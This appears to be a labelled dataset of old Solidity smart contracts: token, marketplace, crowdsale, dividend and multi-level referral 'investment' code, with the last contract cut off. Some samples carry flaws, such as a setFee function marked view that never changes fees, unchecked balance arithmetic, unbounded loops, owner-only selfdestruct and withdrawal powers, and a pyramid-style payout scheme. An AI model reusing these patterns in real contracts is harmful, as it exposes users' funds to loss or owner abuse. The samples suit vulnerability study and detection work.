} else ethfee = _ethPrice * ETHFee / 100;
prices[_tokenId] = Price(msg.sender, _ethPrice, ethfee);
}
function removePrice(uint256 tokenId) public returns (uint256){
require(erc721Address.ownerOf(tokenId) == msg.sender);
if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee);
resetPrice(tokenId);
return prices[tokenId].price;
}
function getPrice(uint256 tokenId) public returns (address, address, uint256, uint256){
address currentOwner = erc721Address.ownerOf(tokenId);
if(prices[tokenId].tokenOwner != currentOwner){
resetPrice(tokenId);
}
return (currentOwner, prices[tokenId].tokenOwner, prices[tokenId].price, usdtPrices[tokenId].price);
}
function setFee(uint256 _ethFee, uint256 _hbWalletFee) public view onlyOwner returns (uint256 ETHFee, uint256 HBWALLETFee){
require(_ethFee > 0 && _hbWalletFee > 0);
ETHFee = _ethFee;
HBWALLETFee = _hbWalletFee;
return (ETHFee, HBWALLETFee);
}
function withdraw(address _address, uint256 amount) public onlyOwner {
require(_address != address(0) && amount > 0 && address(this).balance > amount);
_address.transfer(amount);
}
function buy(uint256 tokenId) public payable {
require(erc721Address.getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyByUsdt(uint256 tokenId) public {
require(usdtPrices[tokenId].price > 0 && erc721Address.getApproved(tokenId) == address(this));
require(usdtToken.transferFrom(msg.sender, usdtPrices[tokenId].tokenOwner, usdtPrices[tokenId].price));
erc721Address.transferFrom(usdtPrices[tokenId].tokenOwner, msg.sender, tokenId);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0);
usdtPrices[tokenId] = Price(address(0), 0, 0);
}
} | 1 | 4,070 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract IBCTOKEN is StandardToken {
string public name = "INTELLIGENT BUSINESS CHAIN TOKEN";
string public symbol = "IBC";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000;
event Burn(address indexed _from, uint256 _tokenDestroyed, uint256 _timestamp);
function IBCTOKEN() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
function burn(uint256 _burntAmount) public returns (bool success) {
require(balances[msg.sender] >= _burntAmount && _burntAmount > 0);
balances[msg.sender] = balances[msg.sender].sub(_burntAmount);
totalSupply_ = totalSupply_.sub(_burntAmount);
emit Transfer(address(this), 0x0, _burntAmount);
emit Burn(msg.sender, _burntAmount, block.timestamp);
return true;
}
} | 1 | 3,343 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner = msg.sender;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] += _value;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint value);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply += _amount;
balances[_to] += _amount;
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function burn(address _addr, uint _amount) onlyOwner public {
require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount);
balances[_addr] -= _amount;
totalSupply -= _amount;
Burn(_addr, _amount);
Transfer(_addr, address(0), _amount);
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract WealthBuilderToken is MintableToken {
string public name = "Wealth Builder Token";
string public symbol = "WBT";
uint32 public decimals = 18;
uint public rate = 10**7;
uint public mrate = 10**7;
function setRate(uint _rate) onlyOwner public {
rate = _rate;
}
}
contract Data is Ownable {
mapping (address => address) private parent;
mapping (address => uint8) public statuses;
mapping (address => uint) public referralDeposits;
mapping(address => uint256) private balances;
mapping(address => uint256) private investorBalances;
function parentOf(address _addr) public constant returns (address) {
return parent[_addr];
}
function balanceOf(address _addr) public constant returns (uint256) {
return balances[_addr] / 1000000;
}
function investorBalanceOf(address _addr) public constant returns (uint256) {
return investorBalances[_addr] / 1000000;
}
function Data() public {
statuses[msg.sender] = 7;
}
function addBalance(address _addr, uint256 amount) onlyOwner public {
balances[_addr] += amount;
}
function subtrBalance(address _addr, uint256 amount) onlyOwner public {
require(balances[_addr] >= amount);
balances[_addr] -= amount;
}
function addInvestorBalance(address _addr, uint256 amount) onlyOwner public {
investorBalances[_addr] += amount;
}
function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public {
require(investorBalances[_addr] >= amount);
investorBalances[_addr] -= amount;
}
function addReferralDeposit(address _addr, uint256 amount) onlyOwner public {
referralDeposits[_addr] += amount;
}
function setStatus(address _addr, uint8 _status) onlyOwner public {
statuses[_addr] = _status;
}
function setParent(address _addr, address _parent) onlyOwner public {
parent[_addr] = _parent;
}
}
contract Declaration {
mapping (uint => uint8) statusThreshold;
mapping (uint8 => mapping (uint8 => uint)) feeDistribution;
uint[8] thresholds = [
0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000
];
uint[5] referralFees = [50, 30, 20, 10, 5];
uint[5] serviceFees = [25, 20, 15, 10, 5];
function Declaration() public {
setFeeDistributionsAndStatusThresholds();
}
function setFeeDistributionsAndStatusThresholds() private {
setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]);
setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]);
setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]);
setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]);
setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]);
setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]);
setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]);
setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]);
}
function setFeeDistributionAndStatusThreshold(
uint8 _st,
uint8[5] _percentages,
uint _threshold
)
private
{
statusThreshold[_threshold] = _st;
for (uint8 i = 0; i < _percentages.length; i++) {
feeDistribution[_st][i] = _percentages[i];
}
}
}
contract Investors is Ownable {
address[] public investors;
mapping (address => uint) public investorPercentages;
function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public {
for (uint i = 0; i < _investors.length; i++) {
investors.push(_investors[i]);
investorPercentages[_investors[i]] = _investorPercentages[i];
}
}
function getInvestorsCount() public constant returns (uint) {
return investors.length;
}
function getInvestorsFee() public constant returns (uint8) {
if (now >= 1577836800) {
return 1;
}
if (now >= 1546300800) {
return 5;
}
return 10;
}
}
contract Referral is Declaration, Ownable {
using SafeMath for uint;
WealthBuilderToken private token;
Data private data;
Investors private investors;
uint public investorsBalance;
uint public ethUsdRate;
function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public {
ethUsdRate = _ethUsdRate;
token = WealthBuilderToken(_token);
data = Data(_data);
investors = Investors(_investors);
investorsBalance = 0;
}
function() payable public {
}
function invest(address client, uint8 depositsCount) payable public {
uint amount = msg.value;
if (depositsCount < 5) {
uint serviceFee;
uint investorsFee = 0;
if (depositsCount == 0) {
uint8 investorsFeePercentage = investors.getInvestorsFee();
serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage));
investorsFee = amount * investorsFeePercentage;
investorsBalance += investorsFee;
} else {
serviceFee = amount * serviceFees[depositsCount];
}
uint referralFee = amount * referralFees[depositsCount];
distribute(data.parentOf(client), 0, depositsCount, amount);
uint active = (amount * 100)
.sub(referralFee)
.sub(serviceFee)
.sub(investorsFee);
token.mint(client, active / 100 * token.rate() / token.mrate());
data.addBalance(owner, serviceFee * 10000);
} else {
token.mint(client, amount * token.rate() / token.mrate());
}
}
function distribute(
address _node,
uint _prevPercentage,
uint8 _depositsCount,
uint _amount
)
private
{
address node = _node;
uint prevPercentage = _prevPercentage;
while(node != address(0)) {
uint8 status = data.statuses(node);
uint nodePercentage = feeDistribution[status][_depositsCount];
uint percentage = nodePercentage.sub(prevPercentage);
data.addBalance(node, _amount * percentage * 10000);
data.addReferralDeposit(node, _amount * ethUsdRate / 10**18);
updateStatus(node, status);
node = data.parentOf(node);
prevPercentage = nodePercentage;
}
}
function updateStatus(address _node, uint8 _status) private {
uint refDep = data.referralDeposits(_node);
for (uint i = thresholds.length - 1; i > _status; i--) {
uint threshold = thresholds[i] * 100;
if (refDep >= threshold) {
data.setStatus(_node, statusThreshold[threshold]);
break;
}
}
}
function distributeInvestorsFee(uint start, uint end) onlyOwner public {
for (uint i = start; i < end; i++) {
address investor = investors.investors(i);
uint investorPercentage = investors.investorPercentages(investor);
data.addInvestorBalance(investor, investorsBalance * investorPercentage);
}
if (end == investors.getInvestorsCount()) {
investorsBalance = 0;
}
}
function setRate(uint _rate) onlyOwner public {
token.setRate(_rate);
}
function setEthUsdRate(uint _ethUsdRate) onlyOwner public {
ethUsdRate = _ethUsdRate;
}
function invite(
address _inviter,
address _invitee
)
public onlyOwner
{
data.setParent(_invitee, _inviter);
data.setStatus(_invitee, 0);
}
function setStatus(address _addr, uint8 _status) public onlyOwner {
data.setStatus(_addr, _status);
}
function setInvestors(address _addr) public onlyOwner {
investors = Investors(_addr);
}
function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner {
uint amount = investor ? data.investorBalanceOf(_addr)
: data.balanceOf(_addr);
require(amount >= _amount && this.balance >= _amount);
if (investor) {
data.subtrInvestorBalance(_addr, _amount * 1000000);
} else {
data.subtrBalance(_addr, _amount * 1000000);
}
_addr.transfer(_amount);
}
function withdrawOwner(address _addr, uint256 _amount) public onlyOwner {
require(this.balance >= _amount);
_addr.transfer(_amount);
}
function withdrawToken(address _addr, uint256 _amount) onlyOwner public {
token.burn(_addr, _amount);
uint256 etherValue = _amount * token.mrate() / token.rate();
_addr.transfer(etherValue);
}
function transferTokenOwnership(address _addr) onlyOwner public {
token.transferOwnership(_addr);
}
function transferDataOwnership(address _addr) onlyOwner public {
data.transferOwnership(_addr);
}
}
contract PChannel is Ownable {
Referral private refProgram;
uint private depositAmount = 5000;
uint private maxDepositAmount = 6250;
mapping (address => uint8) private deposits;
function PChannel(address _refProgram) public {
refProgram = Referral(_refProgram);
}
function() payable public {
uint8 depositsCount = deposits[msg.sender];
require(depositsCount < 15);
uint amount = msg.value;
uint usdAmount = amount * refProgram.ethUsdRate() / 10**18;
require(usdAmount >= depositAmount && usdAmount <= maxDepositAmount);
refProgram.invest.value(amount)(msg.sender, depositsCount);
deposits[msg.sender]++;
}
function setRefProgram(address _addr) public onlyOwner {
refProgram = Referral(_addr);
}
} | 1 | 4,992 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GRADtoken is StandardToken {
string public constant name = "Gradus";
string public constant symbol = "GRAD";
uint32 public constant decimals = 18;
uint256 public totalSupply;
uint256 public tokenBuyRate = 10000;
mapping(address => bool ) isInvestor;
address[] public arrInvestors;
address public CrowdsaleAddress;
bool public lockTransfers = false;
event Mint (address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 value);
constructor(address _CrowdsaleAddress) public {
CrowdsaleAddress = _CrowdsaleAddress;
}
modifier onlyOwner() {
require(msg.sender == CrowdsaleAddress);
_;
}
function setTokenBuyRate(uint256 _newValue) public onlyOwner {
tokenBuyRate = _newValue;
}
function addInvestor(address _newInvestor) internal {
if (!isInvestor[_newInvestor]){
isInvestor[_newInvestor] = true;
arrInvestors.push(_newInvestor);
}
}
function getInvestorAddress(uint256 _num) public view returns(address) {
return arrInvestors[_num];
}
function getInvestorsCount() public view returns(uint256) {
return arrInvestors.length;
}
function transfer(address _to, uint256 _value) public returns(bool){
if (msg.sender != CrowdsaleAddress){
require(!lockTransfers, "Transfers are prohibited");
}
addInvestor(_to);
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool){
if (msg.sender != CrowdsaleAddress){
require(!lockTransfers, "Transfers are prohibited");
}
addInvestor(_to);
return super.transferFrom(_from,_to,_value);
}
function mint(address _to, uint256 _value) public onlyOwner returns (bool){
balances[_to] = balances[_to].add(_value);
totalSupply = totalSupply.add(_value);
addInvestor(_to);
emit Mint(_to, _value);
emit Transfer(address(0), _to, _value);
return true;
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function lockTransfer(bool _lock) public onlyOwner {
lockTransfers = _lock;
}
function ReturnToken(uint256 _amount) public payable {
require (_amount > 0);
require (msg.sender != address(0));
uint256 weiAmount = _amount.div(tokenBuyRate);
require (weiAmount > 0, "Amount is less than the minimum value");
require (address(this).balance >= weiAmount, "Contract balance is empty");
_burn(msg.sender, _amount);
msg.sender.transfer(weiAmount);
}
function() external payable {
}
}
contract Ownable {
address public owner;
address candidate;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
candidate = newOwner;
}
function confirmOwnership() public {
require(candidate == msg.sender);
owner = candidate;
delete candidate;
}
}
contract Dividend {
using SafeMath for uint256;
uint256 public receivedDividends;
address public crowdsaleAddress;
GRADtoken public token;
CrowdSale public crowdSaleContract;
mapping (address => uint256) public divmap;
event PayDividends(address indexed investor, uint256 amount);
constructor(address _crowdsaleAddress, address _tokenAddress) public {
crowdsaleAddress = _crowdsaleAddress;
token = GRADtoken(_tokenAddress);
crowdSaleContract = CrowdSale(crowdsaleAddress);
}
modifier onlyOwner() {
require(msg.sender == crowdsaleAddress);
_;
}
function _CalcDiv() internal {
uint256 myAround = 1 ether;
uint256 i;
uint256 k;
address invAddress;
receivedDividends = receivedDividends.add(msg.value);
if (receivedDividends >= crowdSaleContract.hardCapDividends()){
uint256 lengthArrInvesotrs = token.getInvestorsCount();
crowdSaleContract.lockTransfer(true);
k = receivedDividends.mul(myAround).div(token.totalSupply());
uint256 myProfit;
for (i = 0; i < lengthArrInvesotrs; i++) {
invAddress = token.getInvestorAddress(i);
myProfit = token.balanceOf(invAddress).mul(k).div(myAround);
divmap[invAddress] = divmap[invAddress].add(myProfit);
}
crowdSaleContract.lockTransfer(false);
receivedDividends = 0;
}
}
function Pay() public {
uint256 dividends = divmap[msg.sender];
require (dividends > 0);
require (dividends <= address(this).balance);
divmap[msg.sender] = 0;
msg.sender.transfer(dividends);
emit PayDividends(msg.sender, dividends);
}
function killContract(address _profitOwner) public onlyOwner {
selfdestruct(_profitOwner);
}
function () external payable {
_CalcDiv();
}
}
contract CrowdSale is Ownable{
using SafeMath for uint256;
address myAddress = this;
GRADtoken public token = new GRADtoken(myAddress);
Dividend public dividendContract = new Dividend(myAddress, address(token));
address public wallet = 0x0;
uint256 public tokenSaleRate;
uint256 public hardCapDividends;
uint256 public currentFunds = 0;
uint256 public hardCapCrowdSale = 0;
bool private isSaleActive;
event TokenSale(address indexed _to, uint256 value, uint256 amount);
constructor() public {
tokenSaleRate = 10000;
hardCapCrowdSale = 10 * (1 ether);
hardCapDividends = 10 * (1 ether);
wallet = msg.sender;
}
modifier restricted(){
require(msg.sender == owner || msg.sender == address(dividendContract));
_;
}
function setNewDividendContract(address _newContract) public onlyOwner {
dividendContract = Dividend(_newContract);
}
function setHardCapCrowdSale(uint256 _newValue) public onlyOwner {
hardCapCrowdSale = _newValue.mul(1 ether);
currentFunds = 0;
}
function setHardCapDividends(uint256 _newValue) public onlyOwner {
hardCapDividends = _newValue.mul(1 ether);
}
function setTokenBuyRate(uint256 _newValue) public onlyOwner {
token.setTokenBuyRate(_newValue);
}
function setProfitAddress(address _newWallet) public onlyOwner {
require(_newWallet != address(0),"Invalid address");
wallet = _newWallet;
}
function _saleTokens() internal {
require(msg.value >= 10**16, "Minimum value is 0.01 ether");
require(hardCapCrowdSale >= currentFunds.add(msg.value), "Upper limit on fund raising exceeded");
require(msg.sender != address(0), "Address sender is empty");
require(wallet != address(0),"Enter address profit wallet");
require(isSaleActive, "Set saleStatus in true");
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(tokenSaleRate);
token.mint(msg.sender, tokens);
emit TokenSale(msg.sender, weiAmount, tokens);
currentFunds = currentFunds.add(msg.value);
wallet.transfer(msg.value);
}
function lockTransfer(bool _lock) public restricted {
token.lockTransfer(_lock);
}
function disableSale() onlyOwner() public returns (bool) {
require(isSaleActive == true);
isSaleActive = false;
return true;
}
function enableSale() onlyOwner() public returns (bool) {
require(isSaleActive == false);
isSaleActive = true;
return true;
}
function saleStatus() public view returns (bool){
return isSaleActive;
}
function killDividentContract(uint256 _kod) public onlyOwner {
require(_kod == 666);
dividendContract.killContract(wallet);
}
function () external payable {
_saleTokens();
}
} | 1 | 4,583 |
pragma solidity ^0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
